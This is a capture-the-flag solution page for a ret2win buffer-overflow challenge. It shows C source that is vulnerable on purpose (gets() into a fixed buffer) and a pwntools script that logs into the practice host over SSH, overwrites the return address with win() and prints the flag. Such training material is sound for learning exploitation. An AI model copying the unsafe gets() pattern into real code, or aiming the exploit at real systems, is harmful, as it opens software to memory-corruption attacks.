Offset Cycle

#buffer-overflow#ret2win#solution-only

Contents

Source (one of many)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "CodeBank/asm.h"

#define BUFSIZE 189
#define FLAGSIZE 64

void win() {
  char buf[FLAGSIZE];
  FILE *f = fopen("CodeBank/flag.txt","r");
  if (f == NULL) {
    printf("%s %s", "You may not have plenty of time",
                    "to solve the challenge.\n");
    exit(0);
  }

  fgets(buf,FLAGSIZE,f);
  printf(buf);
}

void vuln(){
  char buf[BUFSIZE];
  gets(buf);

  printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());
}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);

  gid_t gid = getegid();
  setresgid(gid, gid, gid);

  puts("Please enter your string: ");
  vuln();
  return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
from tqdm import tqdm



def conn():
    user = "ctf-player"
    host = "green-hill.picoctf.net"
    port = 53867
    pw   = "6abf4a82"

    s = ssh(user=user,host=host,port=port,password=pw)
    #s.system("./start")
    return s

def main():
    s = conn()
    ls = s.run("ls -la")
    print(ls.recvallS())
    filename = input("File name: ")
    src = s.run(f"cat {filename}.c")
    src.recvuntil(b'#define BUFSIZE ')
    bufsize = src.recvuntil(b'\n', drop=True)
    bufsize = int(bufsize.decode("ascii"))

    s.download(f"./{filename}")
    s.download(f"./{filename}.c")

    elf = ELF(f"./{filename}")

    r = s.run(f"./{filename}")
    offset = b'i' * (bufsize + 12)
    win = elf.sym["win"]
    payload = offset + p32(win)
    r.sendline(payload)
    r.recvuntil(b'Jumping to')
    r.recvuntil(b'\n')
    flag = r.recvuntilS(b'}')

    print()
    print(flag)
    print()

if __name__ == "__main__":
    main()